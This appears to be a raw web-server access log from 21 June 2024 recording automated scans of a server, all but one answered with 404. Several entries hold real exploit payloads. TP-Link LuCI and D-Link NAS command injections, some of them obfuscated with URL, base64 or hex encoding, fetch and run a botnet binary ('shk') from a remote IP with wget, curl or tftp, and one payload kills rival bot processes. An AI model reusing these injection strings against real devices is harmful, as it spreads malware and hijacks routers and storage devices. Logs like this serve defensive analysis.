164.68.114.58 - - [21/Jun/2024:00:06:12 +0200] "GET /logs HTTP/1.1" 404 952 5.59.248.207 - - [21/Jun/2024:00:06:24 +0200] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 404 952 147.185.132.105 - - [21/Jun/2024:00:22:56 +0200] "GET / HTTP/1.1" 404 952 4.255.101.86 - - [21/Jun/2024:00:28:59 +0200] "GET /hudson HTTP/1.1" 404 952 45.148.10.174 - - [21/Jun/2024:00:31:25 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 45.148.10.174 - - [21/Jun/2024:00:31:25 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 23.90.165.142 - - [21/Jun/2024:02:26:17 +0200] "GET / HTTP/1.1" 404 952 64.62.156.47 - - [21/Jun/2024:02:50:39 +0200] "GET / HTTP/1.1" 404 952 64.62.156.42 - - [21/Jun/2024:02:51:15 +0200] "GET /favicon.ico HTTP/1.1" 404 952 64.62.156.38 - - [21/Jun/2024:02:51:28 +0200] "GET /?format=json HTTP/1.1" 404 952 45.148.10.174 - - [21/Jun/2024:04:10:49 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 45.148.10.174 - - [21/Jun/2024:04:10:49 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 205.210.31.55 - - [21/Jun/2024:04:16:49 +0200] "GET / HTTP/1.0" 404 952 109.74.204.123 - - [21/Jun/2024:04:56:16 +0200] "GET / HTTP/1.0" 404 952 109.74.204.123 - - [21/Jun/2024:04:56:46 +0200] "GET /.git/HEAD HTTP/1.1" 404 952 109.74.204.123 - - [21/Jun/2024:04:56:46 +0200] "GET /ns1J HTTP/1.1" 404 952 109.74.204.123 - - [21/Jun/2024:04:56:46 +0200] "GET / HTTP/1.0" 404 952 109.74.204.123 - - [21/Jun/2024:04:56:46 +0200] "HEAD / HTTP/1.0" 404 952 109.74.204.123 - - [21/Jun/2024:04:56:46 +0200] "GET /CSS/Miniweb.css HTTP/1.1" 404 952 109.74.204.123 - - [21/Jun/2024:04:56:46 +0200] "GET /nmaplowercheck1718938606 HTTP/1.1" 404 952 109.74.204.123 - - [21/Jun/2024:04:56:46 +0200] "GET /pools/default/buckets HTTP/1.1" 404 952 109.74.204.123 - - [21/Jun/2024:04:56:46 +0200] "GET /HNAP1 HTTP/1.1" 404 952 109.74.204.123 - - [21/Jun/2024:04:56:46 +0200] "GET /server-status HTTP/1.1" 404 952 109.74.204.123 - - [21/Jun/2024:04:56:48 +0200] "GET / HTTP/1.1" 404 952 109.74.204.123 - - [21/Jun/2024:04:56:48 +0200] "GET /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 HTTP/1.1" 404 952 109.74.204.123 - - [21/Jun/2024:04:56:48 +0200] "POST /sdk HTTP/1.1" 404 952 109.74.204.123 - - [21/Jun/2024:04:56:48 +0200] "GET /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 HTTP/1.1" 404 952 109.74.204.123 - - [21/Jun/2024:04:56:48 +0200] "GET /menu.cfm HTTP/1.1" 404 952 109.74.204.123 - - [21/Jun/2024:04:56:48 +0200] "HEAD / HTTP/1.1" 404 952 109.74.204.123 - - [21/Jun/2024:04:56:48 +0200] "GET /index.cgi HTTP/1.1" 404 952 109.74.204.123 - - [21/Jun/2024:04:56:49 +0200] "GET /home.jsa HTTP/1.1" 404 952 109.74.204.123 - - [21/Jun/2024:04:56:49 +0200] "GET /inicio.cgi HTTP/1.1" 404 952 109.74.204.123 - - [21/Jun/2024:04:56:48 +0200] "GET / HTTP/1.1" 404 952 109.74.204.123 - - [21/Jun/2024:04:56:48 +0200] "GET /start.cgi HTTP/1.1" 404 952 109.74.204.123 - - [21/Jun/2024:04:56:49 +0200] "GET / HTTP/1.1" 404 952 109.74.204.123 - - [21/Jun/2024:04:56:49 +0200] "GET /rest/applinks/1.0/manifest HTTP/1.1" 404 952 109.74.204.123 - - [21/Jun/2024:04:56:48 +0200] "GET /favicon.ico HTTP/1.1" 404 952 109.74.204.123 - - [21/Jun/2024:04:56:49 +0200] "GET /Portal/Portal.mwsl HTTP/1.1" 404 952 109.74.204.123 - - [21/Jun/2024:04:56:49 +0200] "GET /Portal0000.htm HTTP/1.1" 404 952 109.74.204.123 - - [21/Jun/2024:04:56:49 +0200] "GET /confluence/rest/applinks/1.0/manifest HTTP/1.1" 404 952 109.74.204.123 - - [21/Jun/2024:04:56:49 +0200] "GET / HTTP/1.0" 404 952 109.74.204.123 - - [21/Jun/2024:04:56:49 +0200] "GET /__Additional HTTP/1.1" 404 952 109.74.204.123 - - [21/Jun/2024:04:56:57 +0200] "GET / HTTP/1.0" 404 952 164.68.114.58 - - [21/Jun/2024:06:02:31 +0200] "GET /logs HTTP/1.1" 404 952 78.108.177.51 - - [21/Jun/2024:06:58:50 +0200] "GET / HTTP/1.0" 404 952 141.98.83.197 - - [21/Jun/2024:07:16:42 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 141.98.83.197 - - [21/Jun/2024:07:16:42 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 45.148.10.174 - - [21/Jun/2024:07:18:53 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 45.148.10.174 - - [21/Jun/2024:07:18:53 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 141.98.83.197 - - [21/Jun/2024:08:45:24 +0200] "GET /cgi-bin/nas_sharing.cgi?cmd=15&passwd=&system=ZWNobwktZQkiXHg2M1x4NjRceDIwXHgyZlx4NzRceDZkXHg3MFx4M2JceDIwXHg3Mlx4NmRceDIwXHgyZFx4NzJceDY2XHgyMFx4NzNceDY4XHg2Ylx4M2JceDIwXHg3N1x4NjdceDY1XHg3NFx4MjBceDY4XHg3NFx4NzRceDcwXHgzYVx4MmZceDJmXHgzNFx4MzVceDJlXHgzMVx4MzRceDM4XHgyZVx4MzFceDMwXHgyZVx4MzdceDM4XHgyZlx4NzNceDY4XHg2Ylx4MjBceDdjXHg3Y1x4MjBceDYzXHg3NVx4NzJceDZjXHgyMFx4MmRceDRmXHgyMFx4NjhceDc0XHg3NFx4NzBceDNhXHgyZlx4MmZceDM0XHgzNVx4MmVceDMxXHgzNFx4MzhceDJlXHgzMVx4MzBceDJlXHgzN1x4MzhceDJmXHg3M1x4NjhceDZiXHgyMFx4N2NceDdjXHgyMFx4NzRceDY2XHg3NFx4NzBceDIwXHgyZFx4NjdceDIwXHgyZFx4NzJceDIwXHg3M1x4NjhceDZiXHgyMFx4MzRceDM1XHgyZVx4MzFceDM0XHgzOFx4MmVceDMxXHgzMFx4MmVceDM3XHgzOFx4M2JceDIwXHg2M1x4NjhceDZkXHg2Zlx4NjRceDIwXHgyYlx4NzhceDIwXHg3M1x4NjhceDZiXHgzYlx4MjBceDJlXHgyZlx4NzNceDY4XHg2Ylx4MjBceDY0XHg2Y1x4NjlceDZlXHg2Ylx4M2JceDIwXHg3Mlx4NmRceDIwXHgyZFx4NzJceDY2XHgyMFx4NzNceDY4XHg2Ylx4M2IifHNo&user=messagebus HTTP/1.1" 404 952 83.97.73.245 - - [21/Jun/2024:09:21:12 +0200] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 404 952 192.168.0.100 - - [21/Jun/2024:09:32:03 +0200] "GET / HTTP/1.1" 404 952 87.236.176.186 - - [21/Jun/2024:09:32:30 +0200] "GET / HTTP/1.1" 404 952 183.134.104.170 - - [21/Jun/2024:09:32:37 +0200] "GET / HTTP/1.0" 404 952 115.238.44.234 - - [21/Jun/2024:09:32:53 +0200] "GET / HTTP/1.0" 404 952 10.10.10.234 - - [21/Jun/2024:09:38:41 +0200] "GET / HTTP/1.1" 404 952 83.97.73.245 - - [21/Jun/2024:09:49:02 +0200] "GET /actuator/gateway/routes HTTP/1.1" 404 952 86.142.56.12 - - [21/Jun/2024:09:50:39 +0200] "GET / HTTP/1.1" 404 952 45.148.10.174 - - [21/Jun/2024:10:27:34 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 45.148.10.174 - - [21/Jun/2024:10:27:34 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 45.128.232.200 - - [21/Jun/2024:10:33:46 +0200] "POST /goform/set_LimitClient_cfg HTTP/1.1" 404 952 141.98.83.197 - - [21/Jun/2024:10:48:26 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 141.98.83.197 - - [21/Jun/2024:10:48:26 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 198.235.24.175 - - [21/Jun/2024:10:51:15 +0200] "GET / HTTP/1.1" 404 952 117.194.219.216 - - [21/Jun/2024:11:08:07 +0200] "GET /boaform/admin/formLogin?username=ec8&psd=ec8 HTTP/1.0" 404 952 167.94.138.122 - - [21/Jun/2024:11:19:26 +0200] "GET / HTTP/1.1" 404 952 167.94.138.122 - - [21/Jun/2024:11:19:30 +0200] "GET / HTTP/1.1" 404 952 207.90.244.14 - - [21/Jun/2024:11:35:32 +0200] "GET / HTTP/1.1" 404 952 207.90.244.14 - - [21/Jun/2024:11:35:33 +0200] "GET /favicon.ico HTTP/1.1" 404 952 78.152.102.163 - - [21/Jun/2024:11:50:06 +0200] "GET / HTTP/1.0" 404 952 154.201.87.185 - - [21/Jun/2024:12:35:37 +0200] "GET /manager/html HTTP/1.1" 401 1833 87.246.7.54 - - [21/Jun/2024:12:43:08 +0200] "GET / HTTP/1.0" 404 952 200.81.185.179 - - [21/Jun/2024:12:53:15 +0200] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 404 952 185.191.126.213 - - [21/Jun/2024:13:03:38 +0200] "GET / HTTP/1.1" 404 952 141.98.83.197 - - [21/Jun/2024:13:23:58 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 141.98.83.197 - - [21/Jun/2024:13:23:58 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 198.235.24.220 - - [21/Jun/2024:14:07:32 +0200] "GET / HTTP/1.1" 404 952 45.70.196.45 - - [21/Jun/2024:14:50:29 +0200] "GET / HTTP/1.1" 404 952 68.183.83.58 - - [21/Jun/2024:14:55:53 +0200] "GET / HTTP/1.1" 404 952 68.183.83.58 - - [21/Jun/2024:14:55:53 +0200] "GET /download/powershell/ HTTP/1.1" 404 952 185.244.36.206 - - [21/Jun/2024:15:22:40 +0200] "GET / HTTP/1.1" 404 952 158.69.7.211 - - [21/Jun/2024:15:43:47 +0200] "GET /status?full=true HTTP/1.1" 404 952 158.69.7.211 - - [21/Jun/2024:15:43:50 +0200] "GET / HTTP/1.1" 404 952 45.148.10.174 - - [21/Jun/2024:15:47:03 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 45.148.10.174 - - [21/Jun/2024:15:47:03 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 158.69.7.211 - - [21/Jun/2024:15:59:35 +0200] "GET /status?full=true HTTP/1.1" 404 952 158.69.7.211 - - [21/Jun/2024:15:59:37 +0200] "GET / HTTP/1.1" 404 952 141.98.83.197 - - [21/Jun/2024:16:19:44 +0200] "GET / HTTP/1.1" 404 952 185.244.36.206 - - [21/Jun/2024:16:42:55 +0200] "GET / HTTP/1.1" 404 952 84.54.51.164 - - [21/Jun/2024:17:13:01 +0200] "POST /login HTTP/1.1" 404 952 141.98.83.197 - - [21/Jun/2024:17:32:22 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 141.98.83.197 - - [21/Jun/2024:17:32:22 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 86.142.56.12 - - [21/Jun/2024:17:37:31 +0200] "GET / HTTP/1.1" 404 952 45.87.41.50 - - [21/Jun/2024:17:38:49 +0200] "POST /login HTTP/1.1" 404 952 185.244.36.206 - - [21/Jun/2024:18:32:57 +0200] "GET / HTTP/1.1" 404 952 104.168.70.165 - - [21/Jun/2024:19:23:41 +0200] "GET / HTTP/1.1" 404 952 104.248.43.162 - - [21/Jun/2024:19:26:36 +0200] "GET /v2/_catalog HTTP/1.1" 404 952 141.98.83.197 - - [21/Jun/2024:20:34:35 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 141.98.83.197 - - [21/Jun/2024:20:34:35 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 4.156.21.153 - - [21/Jun/2024:20:37:20 +0200] "GET / HTTP/1.1" 404 952 185.244.36.206 - - [21/Jun/2024:20:39:46 +0200] "GET / HTTP/1.1" 404 952 45.148.10.174 - - [21/Jun/2024:20:45:22 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 45.148.10.174 - - [21/Jun/2024:20:45:22 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 45.128.232.200 - - [21/Jun/2024:22:19:45 +0200] "POST /goform/set_LimitClient_cfg HTTP/1.1" 404 952 141.98.83.197 - - [21/Jun/2024:22:46:52 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 141.98.83.197 - - [21/Jun/2024:22:46:52 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 149.50.103.48 - - [21/Jun/2024:22:48:51 +0200] "GET / HTTP/1.1" 404 952 141.98.83.197 - - [21/Jun/2024:23:24:26 +0200] "GET /cgi-bin/nas_sharing.cgi?cmd=15&passwd=&system=ZWNobwktZQkiXHg2M1x4NjRceDIwXHgyZlx4NzRceDZkXHg3MFx4M2JceDIwXHg3Mlx4NmRceDIwXHgyZFx4NzJceDY2XHgyMFx4NzNceDY4XHg2Ylx4M2JceDIwXHg3N1x4NjdceDY1XHg3NFx4MjBceDY4XHg3NFx4NzRceDcwXHgzYVx4MmZceDJmXHgzNFx4MzVceDJlXHgzMVx4MzRceDM4XHgyZVx4MzFceDMwXHgyZVx4MzdceDM4XHgyZlx4NzNceDY4XHg2Ylx4MjBceDdjXHg3Y1x4MjBceDYzXHg3NVx4NzJceDZjXHgyMFx4MmRceDRmXHgyMFx4NjhceDc0XHg3NFx4NzBceDNhXHgyZlx4MmZceDM0XHgzNVx4MmVceDMxXHgzNFx4MzhceDJlXHgzMVx4MzBceDJlXHgzN1x4MzhceDJmXHg3M1x4NjhceDZiXHgyMFx4N2NceDdjXHgyMFx4NzRceDY2XHg3NFx4NzBceDIwXHgyZFx4NjdceDIwXHgyZFx4NzJceDIwXHg3M1x4NjhceDZiXHgyMFx4MzRceDM1XHgyZVx4MzFceDM0XHgzOFx4MmVceDMxXHgzMFx4MmVceDM3XHgzOFx4M2JceDIwXHg2M1x4NjhceDZkXHg2Zlx4NjRceDIwXHgyYlx4NzhceDIwXHg3M1x4NjhceDZiXHgzYlx4MjBceDJlXHgyZlx4NzNceDY4XHg2Ylx4MjBceDY0XHg2Y1x4NjlceDZlXHg2Ylx4M2JceDIwXHg3Mlx4NmRceDIwXHgyZFx4NzJceDY2XHgyMFx4NzNceDY4XHg2Ylx4M2IifHNo&user=messagebus HTTP/1.1" 404 952 164.92.244.132 - - [21/Jun/2024:23:46:36 +0200] "GET / HTTP/1.1" 404 952 164.92.244.132 - - [21/Jun/2024:23:46:36 +0200] "GET / HTTP/1.1" 404 952 164.92.244.132 - - [21/Jun/2024:23:46:36 +0200] "GET /server HTTP/1.1" 404 952 164.92.244.132 - - [21/Jun/2024:23:46:36 +0200] "GET /webtools/control/ping?USERNAME&PASSWORD=leakixtest&requirePasswordChange=Y HTTP/1.1" 404 952 164.92.244.132 - - [21/Jun/2024:23:46:36 +0200] "GET /version HTTP/1.1" 404 952 164.92.244.132 - - [21/Jun/2024:23:46:36 +0200] "GET /.vscode/sftp.json HTTP/1.1" 404 952 164.92.244.132 - - [21/Jun/2024:23:46:36 +0200] "GET /about HTTP/1.1" 404 952 164.92.244.132 - - [21/Jun/2024:23:46:36 +0200] "GET /debug/default/view?panel=config HTTP/1.1" 404 952 164.92.244.132 - - [21/Jun/2024:23:46:36 +0200] "GET /v2/_catalog HTTP/1.1" 404 952 164.92.244.132 - - [21/Jun/2024:23:46:36 +0200] "GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application HTTP/1.1" 404 952 164.92.244.132 - - [21/Jun/2024:23:46:36 +0200] "GET /server-status HTTP/1.1" 404 952 164.92.244.132 - - [21/Jun/2024:23:46:36 +0200] "GET /_all_dbs HTTP/1.1" 404 952 164.92.244.132 - - [21/Jun/2024:23:46:36 +0200] "GET /.DS_Store HTTP/1.1" 404 952 164.92.244.132 - - [21/Jun/2024:23:46:36 +0200] "GET /.env HTTP/1.1" 404 952 164.92.244.132 - - [21/Jun/2024:23:46:36 +0200] "GET /.git/config HTTP/1.1" 404 952 164.92.244.132 - - [21/Jun/2024:23:46:36 +0200] "GET /s/83e21323e2431323e25383/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties HTTP/1.1" 404 952 164.92.244.132 - - [21/Jun/2024:23:46:36 +0200] "GET /config.json HTTP/1.1" 404 952 164.92.244.132 - - [21/Jun/2024:23:46:36 +0200] "GET /telescope/requests HTTP/1.1" 404 952 164.92.244.132 - - [21/Jun/2024:23:46:36 +0200] "GET /?rest_route=/wp/v2/users/ HTTP/1.1" 404 952